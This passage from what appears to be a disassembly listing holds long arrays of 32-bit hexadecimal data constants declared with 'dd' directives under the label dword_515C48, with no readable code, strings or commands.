		dd 0F2F9085Fh, 3606EADh, 11506E7h, 0E66F37E0h, 18810FF6h
		dd 143630E7h, 0D67FCF0Ah, 0D5C60997h, 8C415FCFh, 0DAD1D308h
		dd 92C11670h, 8F3597E7h, 0C09C1C91h, 0A4B94DBBh, 0C7B9122h
		dd 53DEE0BFh, 0A5504C9Fh, 0BCF6C40h, 0A6840162h, 155FA387h
		dd 0E660AA96h, 252993F3h, 13CD63AEh, 69601C64h,	4A0526AEh
		dd 0DE2805CCh, 5A5D86A0h
		dd 0F250E634h, 0D6B301Ch, 1039D012h, 2F1AF1AEh,	0B3E29A20h
		dd 261E0071h, 0A90CF97Ah, 0A27315Fh, 9FBEC6E5h,	5569625Eh
		dd 1A91C235h, 190FB380h, 0B2C1730h, 25B9E5D7h, 0A5ADEDDEh
		dd 0C015CB5h, 4D2748DFh, 94BB02Bh, 34FC0F5Bh, 8514D1B1h
		dd 2411B573h, 4B77FAEh,	5AAF332Eh, 0B80BF7A2h, 695E608Dh
		dd 7C96C2A5h, 2800DCC8h, 7BA7EFC7h, 25F4BB66h, 8CE7FC50h
		dd 0B228BF9Ch, 606C7669h, 164E954h, 63B6BE41h, 6A6173DDh
		dd 0D6A8B3A2h, 0A35F6770h, 8B0F7530h, 6E6E9F17h, 0FA35EC00h
		dd 800534A5h, 58DDFAE0h, 4D10346Fh, 8AB55018h, 5D50FD3Ah
		dd 761BC3Fh, 0D5DC642Ch, 0F61A06A8h, 9F32DF13h,	81AD2AAFh
		dd 498F2C32h, 483A7734h, 19122C57h, 0D3A6E91Fh,	282EBDF1h
		dd 0BDBD3881h, 89AB811Dh, 2E0669BDh, 9B7D898h, 1A1F14ECh
		dd 5FD38BFDh, 0C17CEBC2h, 0DE26562Fh, 85DA1549h, 15FE23F8h
		dd 0FF4A9D45h, 995A5B6Ah, 0ED62CCA0h, 5023B712h, 51C0BEBh
		dd 0C41E14D5h, 0BC2DE974h, 0C781A0A1h, 0CAE04B8Ah, 663934A2h
		dd 0E059B6EFh, 23246D5h, 9D29ADB3h, 4ED518B9h, 0E0BEA0C7h
		dd 0D1C64AF0h, 6B168DC6h, 0BC5B27CFh, 1D8D195Fh, 0F36B6119h
		dd 8BE0311h, 0E15A2BAFh, 172FDBE9h, 97242066h, 7A00758Dh
		dd 59C11736h, 0F442DC7Bh, 0FAA10F72h, 86748B69h, 0ABC4F709h
		dd 0F9AA5A79h, 0B44AC676h, 32088420h, 0CEEB2747h, 0DD1C7960h
		dd 61FC614Eh, 9725DD76h, 9CDCFA8Eh, 0DF3F006Bh,	0F4CED3C5h
		dd 1600EA5Eh, 0D562DB94h, 95C9E21Eh, 7E4D0789h,	0E2F804CEh
		dd 0FB336D05h, 201A567Eh, 0F3B73A85h, 0D0C6C280h, 272BFCF8h
		dd 0F4E9A5BDh, 0B1AF40F9h, 76B52E26h, 0A800DC55h, 655F58Fh
		dd 1629E02Bh, 0BC011985h, 0C9AA97A4h, 15E66F8Bh, 0B27FA4Bh
		dd 0A5BC8884h, 0A25350C5h, 3874011Bh, 0F9FB6E5Dh, 8A82C16Bh
		dd 2B9E2EFCh, 87B9AE82h, 0F0DD7342h, 0B66A5F21h, 69A5F0D8h
		dd 7C56010Dh, 5F432DF0h, 7ADA6B6Bh, 0A5C01AC8h,	177F3D16h
		dd 0B23F6596h, 58910076h, 48550F9Fh, 1831093Dh,	0C7792024h
		dd 26FFCADh, 32AA7946h,	50001F79h, 3430E078h, 0CE9600A6h
		dd 2812E7E1h, 531F6395h, 0EF41373Fh, 585E57EAh,	0ADD1A360h
		dd 0DD88E089h, 6102E9CFh, 0AB2903DEh, 51BF5E33h, 0B6DE3F7Bh
		dd 9D332DC1h, 801C6265h, 113A7FF1h, 26A2D0Ah, 0D1C4876Dh
		dd 0D7BF5480h, 1BAC3B61h, 1100A3D3h, 864EE295h,	180F81CCh
		dd 60D0D594h, 0ADBA1540h, 0CB4916A7h, 5F97498Fh, 85068BFBh
		dd 4EB3329Dh, 0E077ACB0h, 8C2E26BBh, 0E003E77h,	5743E54Bh
		dd 1A180CCh, 1D1732B8h,	6DE4914Ah, 65D4B810h, 0AFDEA825h
		dd 1623536Bh, 0D3C47302h, 0B46D551h, 57505F2Dh,	0E6F6B812h
		dd 6AAB4312h, 1B23E2h, 40D2C97Dh, 0DB7F460Ch, 776A0B4Ch
		dd 0D1815B9Dh, 984E181Bh, 16CA76DAh, 0AB22840Dh, 119D5070h
		dd 46EEB520h, 0B12D317Ch, 2120FF24h, 0BC72C4EFh, 4B094140h
		dd 80119E1Bh, 5A86B4DFh, 0FECC3915h, 4A51992Dh,	0FF59CD00h
		dd 1691AA3h, 390FD3F4h,	2F2C5B45h, 13A9F61h, 3F9D0B01h
		dd 0E1B075A4h, 0A43A8DEDh, 704CE614h, 88304BCCh, 26574DF7h
		dd 1A9971E4h, 9E5CC92Dh, 3E2B51B9h, 22EF5C9h, 8FD780A4h
		dd 0C138195Dh, 0E5D3E161h, 2CC908FBh, 98F06112h, 1280F881h
		dd 47BB1F6h, 0BC2B2DEFh, 285C49Eh, 30F88B45h, 626E7280h
		dd 25D36A00h, 55D63781h, 0C9880999h, 0EE7CC82Bh, 22EADE6Eh
		dd 988D95Eh, 0D66A00B7h, 48F64F42h, 0D7007F84h,	0B40E39B6h
		dd 0BF3CFE7h, 0D18B13A5h, 0C9356807h, 0AF66795Fh, 0E7C0B2DCh
		dd 5CBFE8CEh, 0B15AB27Ch, 120C68F7h, 0E3F0C098h, 64DF1D81h
		dd 121DDABAh, 0BFAAE655h, 2270FFFCh, 0D6D35CBEh, 5B76C809h
		dd 6383F07Ah, 708082B2h, 40E9FE8Ah, 0DB8028Ah, 556E7521h
		dd 0E5C8F54Bh, 0F3028A2Ah, 65D53519h, 0B3DD2792h, 0BD09C89Ah
		dd 88E4AAF9h, 1EB4769Bh, 109FDCB9h, 0DE697A8h, 0FCCF2AA0h
		dd 0F702EA72h, 1C3C3B21h, 609E5C6Ah, 1ADE068Eh,	42CBE607h
		dd 3170DFF2h, 1FD2B47Bh, 822B305Dh, 2D958D89h, 0A4DD7129h
		dd 0C203FCFh, 102DB917h, 6585BDDEh, 0CDA3045Ch,	1A04121Eh
		dd 0E0122B45h, 617360C7h, 0DC55D497h, 0CBE9FEBFh, 0C0B9EF7Dh
		dd 0B19501E0h, 50B50A9Ah, 0F99D1176h, 0D7F8E213h, 0B6C0316Dh
		dd 0CF6957h, 0DA2D9145h, 67BCDEBBh, 0D7FC1E5Bh,	315D9DC2h
		dd 9EA096D7h, 2200D418h, 20C07429h, 3A69B8FEh, 20CB8ABAh
		dd 14308021h, 0C6AD3301h, 0D51B4309h, 317B302Fh, 2E4B35B5h
		dd 19F27ACBh, 90CBD30h,	69F59ADh, 0E9AA9855h, 7BDF8A08h
		dd 8CC52545h, 7AF77017h, 0FFBA0FB0h, 0A24D1A00h, 8985F3AFh
		dd 4A525B5h, 342463D3h,	0FB4A0A11h, 58B30CCh, 9D0161F1h
		dd 0C928AF69h, 0E1FF25F9h, 48DC38F6h, 2D2D4AFDh, 6BDC9CFDh
		dd 0A54D50F1h, 334457E9h, 0B561EE18h, 0B52379FAh, 0D509A1E7h
		dd 0F4B0D403h, 9E2D202h, 5D0C6D9Dh, 6F74761Ch, 0D0B65B9Dh
		dd 900BCDD9h, 77ECC59Eh, 0BD206E4Ch, 0F88A131Fh, 0E019B660h
		dd 27A1FBF6h, 0A41BD21h, 3B036103h, 0E7E1DD12h,	6EC0815Bh
		dd 0EF2AC73Dh, 0D912804Eh, 0E0070FAh, 3A01F868h, 0CAE478C4h
		dd 6E6052E0h, 5F7FC941h, 0FE6B02D2h, 28C40033h,	970EC1D9h
		dd 1C64A24Dh, 98A6EA64h, 160E101h, 621271B5h, 9C944EAEh
		dd 0B53AE6FFh, 2779ACD8h, 0E17E76DDh, 0A7585AA3h, 0AF360142h
		dd 0CA3B6787h, 53196A1Dh, 0A26AF84Eh, 0D88BC002h, 0EB91B350h
		dd 0F9BD53BCh, 0B1DAFAF0h, 70BF007Eh, 582C78E0h, 0C1F8E297h
		dd 0CE6AE9DBh, 119A5BFDh, 0D1F85087h, 0C352BCF3h, 0DFB4BCFCh
		dd 5129D567h, 0B7C901Ah, 515F8982h, 6B7C5E1Eh, 0BFDF3D80h
		dd 1C279426h, 6318FF5Dh, 0FCB58529h, 0BD0B5060h, 7B0A6925h
		dd 32B784B1h, 23EE389h,	1D987E5Eh, 0D6165E95h, 20001C46h
		dd 8736EA7Eh, 600B4EB4h, 544689E7h, 25BDE80h, 38F488h
		dd 0A253B878h, 7C883645h, 5239221Ch, 4166BFCEh,	965F2383h
		dd 9E5C207Fh, 0EA020371h, 43F608D9h, 0EFAED0DEh, 0BAAD0014h
		dd 55B26D37h, 6D96612Fh, 0EFFDC055h, 0EA0B8B5Dh, 0F69509B1h
		dd 0F78181AFh, 78CC1877h, 0FD8E25EEh, 0DE0080BDh, 0E001A639h
		dd 80EC0F63h, 7FA57A68h, 0C403AF65h, 0BD604085h, 12DCA5DBh
		dd 94ADBDFCh, 0A550398Ch, 0F664DE4Fh, 97A89549h, 0BA5F8BACh
		dd 1C2DD86Eh, 0E0D495FDh, 32F05B29h, 4BE59495h,	0E527210Eh
		dd 0C8BF051Fh, 0E72D801Dh, 5F6B7B97h, 0AA961711h, 0BB66AC80h
		dd 8AEA4BA6h, 805D22A0h, 0B7240991h, 27B54B47h,	1622CE05h
		dd 0D5FFFE09h, 1B407315h, 0E38FC2C8h, 3312FE7Ch, 7BAEE587h
		dd 2780AE9Eh, 94FB9BE3h, 54742E2Dh, 0D80B55C6h,	7F482B18h
		dd 21AE1EB5h, 0E7C0C4C7h, 263D92A5h, 75C964Bh, 520916B9h
		dd 0B3D95B57h, 0F18BF200h, 384CA50h, 0C9340971h, 0A28F61FBh
		dd 0A05C5253h, 701EFB27h, 0D709179Ch, 5AE829Eh,	98AE0583h
		dd 552D8DACh, 0FB95F71Bh, 9D12E065h, 0BDBECCBEh, 4932B521h
		dd 0F8B5459h, 12004683h, 0E3C4BCC3h, 0D88A135Fh, 89379AEAh
		dd 0BB41331Dh, 5FB8F8F0h, 0EE3178B6h, 530B976Ah, 8070E35Bh
		dd 5E22502h, 0BC8247C2h, 9FDC59Dh, 0AD2959B7h, 6D5FCE09h
		dd 8E734B7Eh, 8C105525h, 0DD0BEF81h, 0FB1730A1h, 0E89BD0D6h
		dd 0B643CE00h, 767591BDh, 0D951289h, 0B7082812h, 0A6F68B4Fh
		dd 0E63014B2h, 0A7E14EB7h
dword_515C48	dd 2835108Ah, 18F8962Fh, 0CC6EBB07h, 0FB994FB0h, 0BDE9707Dh
		dd 0B1AE7A02h, 757C8214h, 7D6B2C51h, 0EF10DCE4h, 6BB3ED04h
		dd 5D7AEE85h, 4AFE6028h, 88F1BCDBh, 608F2CDFh, 3E16043Bh
		dd 0CDA3A800h, 0EF8F22C2h, 6867485Fh, 8C4D165Fh, 18955329h
		dd 0AD965B5Dh, 8B9F614Dh, 0ADF922F8h, 1DCE6CEh,	0ACB1D6BBh
		dd 0D6950667h, 0E7049BFCh, 76B8F074h, 1404C2D9h, 0C90133C1h
		dd 0B0A1B83Fh, 72A6553h, 2B7CD785h, 857C1B9Dh, 64C76DA5h
		dd 8BB26018h, 349E1731h, 0D5FF04FCh, 0B091B80Fh, 85DC9BDFh
		dd 0B46D7AA7h, 0A00DC2Fh, 0CD1DBB9h, 274C0E01h,	6AF82F7Fh
		dd 7F5209B7h, 2DE3F4CFh, 4BC1F4E1h, 122E77EFh, 800E9BB4h
		dd 0ACC74F99h, 1E52179Dh, 0D204FA41h, 810027F9h, 1257E5CBh
		dd 48AD554Eh, 28C19ECh,	911706C9h, 0FF468AFh, 0E90C8B02h
		dd 40627587h, 0DCDD7Eh,	0F0622C37h, 0C7FF9D13h,	47479C24h
		dd 258A0A50h, 0C837C18Bh, 20CCCB3Bh, 5DB7180h, 20CF67BFh
		dd 32E2AF0Fh, 1F25090Eh, 0C2D75549h, 56D8E27Ch,	4905DC8Bh
		dd 3241E120h, 25043385h, 0BF161429h, 799D41CCh,	6B6A8195h
		dd 8DB8Ch, 0DE920CACh, 0F1FA59CEh, 61FB115Eh, 2E4CF09Bh
		dd 4A0024F2h, 17DF019Fh, 0F600B1A0h, 2131840Ah,	12825CADh
		dd 0E75F5BF4h, 66E5A099h, 5DA6A01Eh, 0E92E5E36h, 0F2C44A43h
		dd 46B84BBDh, 0D1B1D12Dh, 0CD68016Eh, 7A960D29h, 90C1E2B9h
		dd 0D2505B51h, 0DD78545Bh, 0C0E1BF26h, 0D6257FD9h, 74EF7684h
		dd 0A863E9F6h, 0DBCCF9F6h, 0AD1A5A28h, 2269578h, 0CED0E0BFh
		dd 6BD55C6Bh, 0F00061E4h, 0B1B3A269h, 7833567h,	829AADFFh
		dd 8AD151D2h, 0A0282EFDh, 61748A87h, 4B045427h,	0B7703A5Bh
		dd 0AE4D1D6Eh, 0F967942h, 0F9E12789h, 0BA4032F6h, 760A78h
		dd 695CC20Fh, 0FD544916h, 382E9001h, 0F1C1FFC7h, 0E270843Bh
		dd 65FE5BCBh, 374BFA4Ch, 23B555F8h, 28006CAFh, 20EAC28Eh
		dd 0E9272855h, 5516551Ch, 825C6748h, 5C7C1ABFh,	0FAE2DC3Eh
		dd 0EE712300h, 89E94995h, 9532E69Dh, 1479F673h,	998AB18h
		dd 0A2256D20h, 606E757Ah, 0BFAED850h, 547DE505h, 6EAE9005h
		dd 0DC580008h, 0BA8E8909h, 0FAE40468h, 0AFF59531h, 7DB9F212h
		dd 0E48C1BB8h, 0A10B28F9h, 2B1432B2h, 1A298DDAh, 716B7D5Bh
		dd 0D770A0F7h, 0ED02A701h, 86672CAAh, 4ACDE6DBh, 0B0B6BC83h
		dd 0A0A3752Ch, 0E25FFA8Dh, 5B8AE260h, 0C652E1F5h, 0BFC0DE5Ch
		dd 4B43F232h, 0FADD8556h, 6CA0C5A7h, 0FCE2C0D4h, 0CC3D650Bh
		dd 0F6017766h, 2BF5B9CBh, 27D1AA81h, 651F8105h,	0E0610234h
		dd 0BF5C7C02h, 9D1244F8h, 0CCBF1A75h, 743E50DFh, 0A15D80B9h
		dd 11CAD7F3h, 9BE13ABAh, 1769F917h, 5B84EFB7h, 971ACCh
		dd 0BE1684F1h, 0D24F7EFFh, 0CFEB5601h, 38E895B7h, 4B2047FCh
		dd 5FFAC27Fh, 40C40F5Eh, 0B788FE52h, 0CD19BFB0h, 0EC49ED86h
		dd 0F95EDE97h, 5F9B22EFh, 0B7021C5Eh, 0CC71E4FBh, 0DB810272h
		dd 4C1D032Fh, 0A911A5Eh, 0BCDE3264h, 3FFE5A17h,	5BA4833h
		dd 56B1B5A7h, 8ADDFFh, 5CA2E3C5h, 92E8F97h, 20C6F0F7h
		dd 2B2C23B1h, 0DA25CCC8h, 0D18B313Ah, 11005D4h,	8238B7E9h
		dd 881BD782h, 0D74012DDh, 0D449E304h, 786CCF0h,	0B4F079B7h
		dd 0BA32D412h, 8827FEB7h, 6925EF79h, 870822E4h,	3694B5h
		dd 0A965AC1h, 9820CA24h, 6F7E1F18h, 8003F1B4h, 5C4AE95Bh
		dd 0BCA563BCh, 0A03081C0h, 42F432D0h, 8371001Eh, 0D316A3DBh
		dd 450554D1h, 9D295BC8h, 2A8DF1FBh, 0BC9280E2h,	0ABA8D63Fh
		dd 15E50E25h, 992B426h,	98450CF2h, 355D41E2h, 0D950B04h
		dd 209796D5h, 0BB02B88Ch, 4D84BAD4h, 0DE01F66Ah, 0F54AF9F6h
		dd 6A4ED2F7h, 0E6A301DCh, 4FD94B22h, 8637206Fh,	0E778D226h
		dd 0AB089400h, 0B0EF5A60h, 8C0F21DFh, 0DD950905h, 0B9294FEAh
		dd 6F0EC9h, 0D1C99A40h,	889D0472h, 0AB0515EDh, 0DB2EA9C9h
		dd 43958280h, 4634A87h,	0BD291CBh, 0E3CBCDFCh, 0C7E87628h
		dd 3009B8F2h, 53C02B2Ah, 434A7002h, 297EE98h, 3ECD954Ah
		dd 2114619Fh, 0F7A7Bh, 63DFAD62h, 593FE1Dh, 9D2353C1h
		dd 1344BE55h, 0CEBB880Dh, 1ADB5A6Eh, 125F7480h,	0BCC4E3F0h
		dd 0A2AA0545h, 167AC4Bh, 28155EB9h, 638EF50Eh, 2BBD5A2Fh
		dd 0F8D8EE92h, 71959747h, 88EA5097h, 6AB05FC0h,	0E52C4625h
		dd 74981A49h, 0E2526DFDh, 0F15703CAh, 0A10C3186h, 84DF0734h
		dd 4EBD2E39h, 136EA893h, 0DC44AD90h, 6BAF955Bh,	0A747E7h
		dd 89377A5Ch, 489B619Ch, 0B55F9391h, 0DEF06BD7h, 9454B52Eh
		dd 8BB0977Ch, 5002B192h, 49F6DE0Ah, 50715EF4h, 0CAB604ADh
		dd 0DA106F43h, 4973DD83h, 3C048984h, 11C067BFh,	0E0B1BB15h
		dd 0D57C0D2Eh, 6BCA224Bh, 34049716h, 0A24BB8CCh, 0C741A151h
		dd 0A9681441h, 255DA25h, 0C6158B74h, 0BB14FD14h, 78CBFC20h
		dd 628B0155h, 5AC534E5h, 7DB46A5Bh, 1189259Dh, 2665935Eh
		dd 439B14D4h, 8994C2C1h, 13FF2B9Dh, 0B9AEA7Ah, 1ACE692h
		dd 0DFB7C948h, 3070954Dh, 0E88F2F7Bh, 59257F50h, 6825D120h
		dd 0B5007E33h, 0AA33BBDFh, 9ED88BB2h, 537A6053h, 0D45A07E4h
		dd 9D0BA290h, 38275115h, 0C9752h, 0FF311068h, 0F351EB2Fh
		dd 0AA5F12A7h, 0D2EFD080h, 0DB145F1Fh, 7DB081E3h, 61C85660h
		dd 0F86FE55Ah, 3F8CE46Eh, 98770054h, 0E3C667ECh, 0A7001C28h
		dd 8C2C49DEh, 2DE93DDCh, 0E53D0270h, 4CEA2C00h,	0BF8EC1Bh
		dd 0D81747AEh, 7559282h, 56335175h, 0F2859702h,	0E692F9D8h
		dd 7EEA01CFh, 4029768Ch, 37C5ECBDh, 555BBA27h, 3981443Fh
		dd 77655E89h, 94C01ED8h, 0C6642F43h, 8B79C93Dh,	0F5D828BFh
		dd 0CC5FD7A9h, 1015214Fh, 0D3815240h, 0E68312A8h, 0ACA71671h
		dd 0CF127EC9h, 986013C2h, 30CD8060h, 233466B1h,	8B97617Dh
		dd 101D5449h, 61C94F31h, 99F7F0h, 500B427Ah, 8FC8DEC4h
		dd 0FF2F150Bh, 1E502B9h, 0E2DD0927h, 0F622DD22h, 8B020EF0h
		dd 0AA197DD9h, 56229750h, 5FE232FBh, 0E9960F84h, 0E898B8B0h
		dd 2BB59774h, 40801C91h, 9F3A352Ch, 9D4A3109h, 59688210h
		dd 43070920h, 0A276A979h, 1726BB70h, 0C06FFAFCh, 9C27CB6h
		dd 18698B69h, 7BD30ECh,	869FD9BBh, 0E5C030C3h, 94C07C6Ah
		dd 0A622E3E0h, 8BE63824h, 0B32E205Ah, 300B177h,	0F5CE62AAh
		dd 0EC09174Eh, 0AF3394EBh, 0D9FE1057h, 968F00F3h, 59865575h
		dd 0E428CF82h, 0BF05BEC3h, 1FB3950Dh, 0BE66BB01h, 0BF434059h
		dd 41A99461h, 0F4A202B8h, 6EE91541h, 0BF004C8Ah, 10F9F34Dh
		dd 90B75190h, 70898589h, 482400D2h, 92CA2E72h, 409F4BCh
		dd 0FCA60DB9h, 0A4601837h, 0BF01A198h, 567702C6h, 6E6A9061h
		dd 37700022h, 757CF1FFh, 6B150173h, 0DDBD8960h,	53526A14h
		dd 28AFBC17h, 85240920h, 89897719h, 0D76AF78Dh,	0C0C08AEDh
		dd 7E85313Fh, 0BBFCB7D5h, 0E11770FCh, 7D04F308h, 0B5314E93h
		dd 0F92BDFB5h, 0F8FDB5F3h, 6A0068A8h, 290F3021h, 9510A98Dh
		dd 5E4998D1h, 4313D457h, 6E09014Dh, 77EF5E0Ah, 5F5CE249h
		dd 33E03D4Dh, 79D0C452h, 80A01396h, 8B32A235h, 0DA3D5F64h
		dd 0A211538Fh, 0DF05626Bh, 0AA9A5D9h, 55C2E24Dh, 0D7E9A84Dh
		dd 0C1B5D3E4h, 122BF781h, 90DEAB29h, 0EDC0838Fh, 0C81D9DF9h
		dd 1A9DCDFEh, 0EB155770h, 0F4121B40h, 30CE5C02h, 7B89DD25h
		dd 49DCCD7Fh, 0BD1759CCh, 0D7BF2B60h, 105F4927h, 0B796612Ch
		dd 5050AE87h, 0B4CDEF81h
		dd 0FE78BA2Fh, 721E201h, 9BDDDh, 0BFBB60F6h, 2F5AD64Fh
		dd 830D9C0Dh, 256614F0h, 0F9741E52h, 2E114DE2h,	0FF1256DDh
		dd 0E69322DBh, 5926010Ch, 36A2EAE2h, 344FC23Eh,	0B3A8B857h
		dd 0EBC69C3Ah, 0CB4013EDh, 972DFE8Fh, 0BDD94182h, 23D5FA57h
		dd 0E5AC1B65h, 2EE700D6h, 368CBE25h, 0F8131001h, 4EA33AB7h
		dd 76E7205Ah, 0BA002F6Ah, 0F38E601Fh, 0B527AD3Ah, 0E4D026C9h
		dd 8A4FEF54h, 0A20431C4h, 9EEAB886h, 69B4C03Bh,	25261BDEh
		dd 16E0431Dh, 6A4D7EB8h, 53FE820h, 0E2E95E65h, 0B522AE5Ah
		dd 50DBD569h, 7D1CD749h, 511CAB90h, 8901CD49h, 77BBE307h
		dd 40E1F6E2h, 0F43ECA62h, 8EA04E00h, 0E2990F33h, 0E14B03AAh
		dd 0C78DA9FAh, 779CABA5h, 0B5964EFBh, 0DB74D6B8h, 0E2F900DCh
		dd 0D1D2E04Ah, 8E5219A5h, 0AEBB1F62h, 0D3657389h, 580B3E72h
		dd 0C4FC562Ah, 5938562Fh, 9CDE6B4Fh, 6E154CC0h,	1628E0Fh
		dd 0C096F819h, 76B35038h, 0DCC99EACh, 632B82Ch,	5E132109h
		dd 0A03F57C4h, 0A1D20F4h, 23E90CC4h, 0A7CA75AFh, 0C9A55FA9h
		dd 0C8229A6Eh, 0FB5FC514h, 0EDB35231h, 0CC54F87Bh, 5E1B12h
		dd 0D5EB24B1h, 761FE0EDh, 9601CA71h, 5825B8FAh,	293A93D3h
		dd 12856B4Dh, 0C01E9BEAh, 0EBD57178h, 0BEF05B84h, 12912210h
		dd 8AEA1B01h, 8B2DB031h, 65519F9Ah, 26A0F600h, 2B464C4h
		dd 0D5459B75h, 83615967h, 16642851h, 0F87BC65Fh, 2C393401h
		dd 353BDDDCh, 552C2F60h, 35524857h, 382A8110h, 61E9925Bh
		dd 0BA4C28E8h, 0B80F5E76h, 126BD699h, 3D30DF00h, 65D6C7E9h
		dd 0D10E7F2Fh, 9E398DC6h, 13010B58h, 0CCC0CFE9h, 0F74875Ch
		dd 0C93820C6h, 810AE340h, 0AE0EAB4Dh, 407F995Dh, 5A762614h
		dd 0BA370095h, 71FC5EB8h, 40001BFDh, 9ED0BCBh, 0F65280h
		dd 0AA189B9Fh, 0EC817A3Eh, 0C8FA594Ah, 0F005424h, 0EE7FF026h
		dd 186A806Ch, 0F7CFF3Bh, 0D3043A65h, 0C7A74185h, 0C5AECAEh
		dd 2366C9CDh, 954D0153h, 74321D64h, 0F3B7FC92h,	0C7FA514Ah
		dd 0A7EFA02Eh, 0F574C36Dh, 6F80F595h, 0B6A42F88h, 7CF75000h
		dd 0FF72D48Ah, 17C20096h, 0EBC102E4h, 0E6004107h, 633B9D6Dh
		dd 0F8351CEAh, 78AA606Eh, 70C6C85Bh, 333DAE1Fh,	48CBFE80h
		dd 5310E69h, 6DCEF72Fh,	8E1E00E6h, 45CCA84Eh, 3181E50Ch
		dd 6F244D9h, 0E35442ABh, 0CE0010D8h, 4DD17745h,	0BB1DFBh
		dd 33BDE236h, 0CF7ADCFDh, 6480D5BCh, 0A70FED4Bh, 0CD6D004Ah
		dd 0BB825150h, 0D3302452h, 553E4C1Fh, 0C5A10107h, 3B86FA4Ch
		dd 18BB20h, 0A276CA5Ch,	3A7147B6h, 0DD80C222h, 0B410E07Ah
		dd 8B074D3Dh, 157BE4Fh,	0B1B79089h, 0C81C00C4h,	0EDB9DC56h
		dd 36741198h, 39B20B00h, 0D7B60241h, 8878005Ch,	92FB0AD6h
		dd 0C000166Eh, 5E07CCA1h, 0D0B67Ah, 4A0CFA09h, 6EE85FF1h
		dd 27353B1Ch, 0BA00B0A8h, 0D49A6C9Fh, 1858F036h, 0B6C5D95Ah
		dd 74005FC0h, 0EFD84EECh, 3D508273h, 9F80D6B6h,	54454B14h
		dd 0C7008B29h, 5B391FABh, 78642D85h, 0C4970055h, 2CE244AFh
		dd 6500C534h, 0E743C8A3h, 18CA3921h, 66C36BCCh,	0E224CD56h
		dd 44BD3004h, 78DE00C0h, 4BF110A6h, 1C00F2D3h, 0E3BB5D91h
		dd 50B7016Ah, 756FD7h, 850308FEh, 10DF11A1h, 6D1BADA1h
		dd 0C4D00055h, 4AADE966h, 0B760C0EFh, 632585ECh, 0B9018A00h
		dd 28190DABh, 17C7074Ah, 709E13F1h, 64E5B7F9h, 0DD00787Eh
		dd 62FF5DBBh, 6222991h,	0FEF680A6h, 34226C27h, 8AD30695h
		dd 68A32B8Ch, 0C235610Ch, 42F0CA2h, 51A7E864h, 43ACAF9Eh
		dd 2B018C80h, 7904F255h, 6CCFCB1Ch, 0CAA7B397h,	0ACAE1A54h
		dd 19F730CAh, 3054B1E2h, 3411CD2Eh, 0EF030D6Bh,	27A80E37h
		dd 161BD6F3h, 3DF2669h,	42C9A232h, 5C57FDA2h, 0A406E01Fh
		dd 0FF125129h, 0CB009263h, 7C57139Ah, 0FA2C0032h, 0D7A1EC44h
		dd 5500DA74h, 6961F6BFh, 598FCC7h, 0D212A47Ah, 688404B2h
		dd 0F9274711h, 6F6AD420h, 8FF50043h, 0CF9D09BAh, 0D92E3FA9h
		dd 0EA01E016h, 0F97AB881h, 0BFE08B80h, 5737E959h, 2D68DE00h
		dd 1ADBB4E4h, 0D0430324h, 653CBFFBh, 0FAA52C00h, 7FA74593h
		dd 0E77A46h, 0D5A9B107h, 0D80BFF0Ch, 0D6A0DF95h, 603BFD9Ch
		dd 0ED34BAA0h, 44928000h, 6B7A4565h, 74E0038h, 0BB956C19h
		dd 590001E1h, 0B0399D73h, 1C806482h, 3A7DB109h,	33869589h
		dd 0E1585Dh, 379771E5h,	7FF546BCh, 0B3DC1EC0h, 1B50368h
		dd 0A7EC5AD7h, 0BFE16D79h, 47F650C8h, 0F1250E06h, 0DF32AC7Eh
		dd 9E807B82h, 0FB4FBE9Ah, 0F90341A8h, 5770B692h, 0ABFCF0F7h
		dd 0B4290449h, 0D255E174h, 56574A11h, 0BAC58C38h, 79002AD0h
		dd 49584081h, 12C98E9Ah, 4F197F1Ch, 37C0E89Dh, 1AF8DC51h
		dd 0E5EE4200h, 310D2EEFh, 5E283E73h, 0D5951C00h, 0AB9C82C6h
		dd 985AD300h, 0B2FA25CFh, 68DD2A74h, 0EB164AF2h, 2E014A8Fh
		dd 2360C64Dh, 4762C5D5h, 543700F0h, 0B5006BDFh,	9FEB5FACh
		dd 0F2D165B9h, 33177F5h, 0A0D65D39h, 3000EF4Fh,	388EE9BAh
		dd 7C2B8DEBh, 0CEC7367h, 10C3371Ch, 0B9093172h,	274DAED4h
		dd 83306421h, 7F2807D3h, 76E3072Fh, 5353BA85h, 0BB03B9F4h
		dd 0EF40B69Fh, 0DA3405DDh, 20E06349h, 0C1322FA6h, 0CE2A7903h
		dd 0F513B3E7h, 3A03AD01h, 96C07BFCh, 3D660086h,	351E01DFh
		dd 2258B63h, 0E0437DA4h, 190A2300h, 2D894F33h, 491E0181h
		dd 0A77E51C1h, 850FC173h, 5FA6E924h, 0CD44FC90h, 6F39197Dh
		dd 0F0CA1C0Eh, 350091B2h, 0BD5CBEBCh, 7100C53h,	0ADEE45Fh
		dd 0A980F9AEh, 3A7845ACh, 74EB3E10h, 0F0512A00h, 0E2AFD912h
		dd 5540958h, 0B611875Dh, 3F063680h, 3195014Bh, 8D93CEB8h
		dd 15D92099h, 539CAC00h, 0FC7FBB3Ch, 8CC51451h,	504A0E5h
		dd 0AE4DF6A3h, 1D60F6BCh, 8F4C88D1h, 82C07C0Fh,	9EF7474Eh
		dd 0A3EC9CF0h, 10030A86h, 0AEA922h, 60F8FE5Fh, 95A2B691h
		dd 51366D40h, 0DF7C6700h, 926E94F9h, 7A4A174Dh,	1C1375h
		dd 654EA9A3h, 9500E61Ch, 7C869A56h, 775C513h, 80B23B93h
		dd 0BB0FA066h, 65001B47h, 0DA70AB0Ah, 39C8C44h,	5EC6F411h
		dd 0CFC821FFh, 320790E4h, 8563D35Ah, 3480A8A5h,	5412E1h
		dd 0FC583869h, 48931EF8h, 0C795FE01h, 0C81BEF64h, 0EB2B8465h
		dd 0E4C0D962h, 3FA102F5h, 0A6090D56h, 0C0134649h, 54B0ADB4h
		dd 8AEBC94Ah, 89F0F7ACh, 0BF57E0h, 54BA07BEh, 0F1EF8147h
		dd 761D1518h, 1F70940Ch, 3FD1407Ch, 0BF67C70Fh,	0F801B060h
		dd 0E825835Fh, 47C27504h, 0EED45657h, 5D0D69D0h, 860ED75Bh
		dd 568F1043h, 0F6027D23h, 0C1FF8BAAh, 2450C41Ah, 0F7A09C6h
		dd 0DEF755F2h, 0A7E2F6C7h, 0F3898039h, 0B438685Eh, 8BEB4A34h
		dd 685806C6h, 0C121799Bh, 8408F80h, 51269E8Bh, 0C181E185h
		dd 0C83180Ch, 0B20C6487h, 0E56A188Bh, 13C55581h, 2C04DAh
		dd 0FB3243E9h, 42E89FFFh, 1100C860h, 0DF8A2A28h, 5CD02926h
		dd 2E251FB8h, 6BC8C875h, 6DA300EAh, 519271EBh, 1976D8C2h
